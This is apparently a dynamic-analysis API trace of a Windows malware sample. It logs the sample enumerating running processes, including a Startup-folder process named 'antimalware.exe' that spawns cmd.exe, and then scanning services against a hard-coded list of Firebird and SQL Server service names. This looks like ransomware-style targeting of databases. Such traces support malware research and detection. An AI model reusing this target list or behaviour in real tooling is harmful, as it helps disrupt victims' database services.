	[0058.577] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0058.577] lstrlenW (lpString="unlikely.exe") returned 12
	[0058.577] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0058.579] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0058.579] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0058.579] lstrlenW (lpString="promotion.exe") returned 13
	[0058.579] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0058.582] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0058.582] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0058.583] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0058.583] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0058.584] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0058.584] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0058.585] lstrlenW (lpString="bad-length.exe") returned 14
	[0058.585] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0058.585] lstrlenW (lpString="unit.exe") returned 8
	[0058.585] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0058.586] lstrlenW (lpString="parents.exe") returned 11
	[0058.586] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0058.587] lstrlenW (lpString="charge.exe") returned 10
	[0058.587] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0058.588] lstrlenW (lpString="measures-provision.exe") returned 22
	[0058.588] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0058.589] lstrlenW (lpString="dllhost.exe") returned 11
	[0058.589] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0058.590] lstrlenW (lpString="conhost.exe") returned 11
	[0058.590] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0058.590] lstrlenW (lpString="conhost.exe") returned 11
	[0058.590] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0058.591] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0058.591] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0058.592] lstrlenW (lpString="cmd.exe") returned 7
	[0058.592] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0058.593] lstrlenW (lpString="conhost.exe") returned 11
	[0058.593] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.594] lstrlenW (lpString="svchost.exe") returned 11
	[0058.594] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0058.594] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0058.594] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0058.595] lstrlenW (lpString="conhost.exe") returned 11
	[0058.595] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0058.599] lstrlenW (lpString="mode.com") returned 8
	[0058.599] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.600] lstrlenW (lpString="svchost.exe") returned 11
	[0058.600] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0058.600] lstrlenW (lpString="LogonUI.exe") returned 11
	[0058.600] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0058.601] CloseHandle (hObject=0x384) returned 1
	[0058.602] Sleep (dwMilliseconds=0x1f4) 
	[0059.132] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fdc8
	[0059.132] EnumServicesStatusExW (in: hSCManager=0x68fdc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0059.132] GetLastError () returned 0xea
	[0059.132] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1d5a) returned 0x43d4cd0
	[0059.133] EnumServicesStatusExW (in: hSCManager=0x68fdc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43d4cd0, cbBufSize=0x1d5a, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43d4cd0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0059.133] CloseServiceHandle (hSCObject=0x68fdc8) returned 1
	[0059.133] lstrlenW (lpString="Appinfo") returned 7
	[0059.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0059.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0059.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0059.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0059.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0059.133] lstrlenW (lpString="AppXSvc") returned 7
	[0059.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0059.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0059.134] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0059.134] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0059.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0059.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0059.134] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0059.134] lstrlenW (lpString="Audiosrv") returned 8
	[0059.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0059.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0059.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0059.134] lstrlenW (lpString="BFE") returned 3
	[0059.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0059.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0059.134] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0059.134] lstrlenW (lpString="BITS") returned 4
	[0059.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0059.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0059.134] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0059.134] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0059.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0059.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0059.134] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0059.134] lstrlenW (lpString="CDPSvc") returned 6
	[0059.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0059.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0059.134] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0059.135] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0059.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0059.135] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0059.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0059.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0059.135] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0059.135] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0059.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0059.135] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0059.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0059.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0059.135] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0059.135] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0059.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0059.135] lstrlenW (lpString="CryptSvc") returned 8
	[0059.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0059.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0059.135] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0059.135] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0059.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0059.135] lstrlenW (lpString="DcomLaunch") returned 10
	[0059.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0059.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0059.135] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0059.135] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0059.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0059.135] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0059.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0059.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0059.135] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0059.135] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0059.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0059.135] lstrlenW (lpString="Dhcp") returned 4
	[0059.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0059.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0059.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0059.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0059.136] lstrlenW (lpString="Dnscache") returned 8
	[0059.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0059.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0059.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0059.136] lstrlenW (lpString="DoSvc") returned 5
	[0059.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0059.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0059.136] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0059.136] lstrlenW (lpString="DPS") returned 3
	[0059.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0059.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0059.136] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0059.136] lstrlenW (lpString="DusmSvc") returned 7
	[0059.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0059.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0059.136] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0059.136] lstrlenW (lpString="EventLog") returned 8
	[0059.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0059.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0059.136] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0059.136] lstrlenW (lpString="EventSystem") returned 11
	[0059.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0059.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0059.136] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0059.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0059.137] lstrlenW (lpString="FontCache") returned 9
	[0059.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0059.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0059.137] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0059.137] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0059.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0059.137] lstrlenW (lpString="gpsvc") returned 5
	[0059.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0059.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0059.137] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0059.137] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0059.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0059.137] lstrlenW (lpString="iphlpsvc") returned 8
	[0059.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0059.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0059.137] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0059.137] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0059.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0059.137] lstrlenW (lpString="KeyIso") returned 6
	[0059.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0059.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0059.137] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0059.137] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0059.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0059.137] lstrlenW (lpString="LanmanServer") returned 12
	[0059.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0059.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0059.137] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0059.137] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0059.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0059.137] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0059.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0059.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0059.137] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0059.137] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0059.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0059.137] lstrlenW (lpString="lfsvc") returned 5
	[0059.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0059.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0059.138] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0059.138] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0059.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0059.138] lstrlenW (lpString="lmhosts") returned 7
	[0059.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0059.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0059.138] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0059.138] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0059.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0059.138] lstrlenW (lpString="LSM") returned 3
	[0059.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0059.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0059.138] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0059.138] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0059.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0059.138] lstrlenW (lpString="MapsBroker") returned 10
	[0059.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0059.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0059.138] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0059.138] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0059.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0059.138] lstrlenW (lpString="MpsSvc") returned 6
	[0059.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0059.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0059.138] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0059.138] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0059.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0059.138] lstrlenW (lpString="NcbService") returned 10
	[0059.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0059.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0059.138] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0059.138] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0059.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0059.138] lstrlenW (lpString="netprofm") returned 8
	[0059.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0059.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0059.139] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0059.139] lstrlenW (lpString="NlaSvc") returned 6
	[0059.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
